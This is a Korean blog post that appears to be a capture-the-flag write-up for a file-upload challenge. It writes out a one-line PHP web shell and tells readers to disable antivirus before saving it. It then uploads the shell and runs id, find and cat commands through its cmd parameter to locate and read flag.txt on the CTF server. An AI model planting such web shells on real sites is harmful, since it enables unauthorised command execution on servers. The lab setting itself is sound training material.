php 웹 쉘을 올려서, flag.txt 파일을 찾아내라!
http://ctf.segfaulthub.com:8989/webshell_1/
들어가보자.
로그인을 하기 위해, 회원가입 진행
아이디 : as
비밀번호 : as
로그인 후 게시판으로 가자.
공격 파일 생성
먼저 웹 쉘 파일을 만들어보자.
윈도우 OS 에서 진행을 하고 있다면, 반드시 백신을 먼저는 꺼야한다.
(안끄면 백신이 파일 만들자 마자, 지웁니다.)
메모장을 생성
<?php
echo system($_GET['cmd']);
?>
저장
생성한 메모장 우클릭 - 이름 바꾸기 - test.php (확장자까지 바꿔야합니다.)
자, 이제 공격 파일을 준비가 되었다.
파일 업로드 공격
파일 선택 클릭
열기 - create 클릭
글생성 성공!
생성 한 글로 들어가보자.
마우스를 Download 버튼에 올려도 아래 이미지가 존재하는 URL이 확인된다.
확실하게 하기 위해서 Download 우클릭- 링크 주소 복사
복사후 새탭에서 해당 URL 그대로 요청 보내보자.
아무런 액션이 없음.
이유는?
공격 코드로 GET 메서드를 사용했기 때문에
<?php
echo system($_GET['cmd']);
?>
URL의 파라미터의 값을 추가 해줘야한다.
어떻게?
웹사이트주소.com/test.php?cmd=값
실제 공격코드는?
http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=id
cmd 파라미터의 값으로 리눅스의 id 명령어를 값으로 줬다.
UID, GID 를 통해서 현재 리눅스 계정이 어떤 권한의 계정인지 파악 가능하다.
이 문제를 서버 어딘가에 있는 flag.txt 를 찾는 내용이였다.
find 명령어를 사용하면 찾을 수 있다.
find / -name flag.txt
http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=find / -name flag.txt
으로 요청을 보내보자.
URL 인코딩 되면 아래 처럼 표시됨
http://ctf.segfaulthub.com:8989/webshell_1/files/as/test.php?cmd=find%20/%20-name%20flag.txt
/app/webshell_1/important_data/flag.txt
경로에 flag.txt 있다고 한다.
cat 명령어로 확인을 해보자.
cat /app/webshell_1/important_data/flag.txt
로 요청을 보내보자.
URL 인코딩 된 URL
플래그 획득 성공 했다.
'웹 해킹' 카테고리의 다른 글
Web Shell 3 (파일업로드 문제 3) (0) | 2024.07.25 |
---|---|
Web Shell 2 (파일업로드 문제 2) (0) | 2024.07.25 |
파일 업로드 공격 (0) | 2024.07.25 |
SOP / CORS (0) | 2024.07.25 |
CSRF (0) | 2024.07.25 |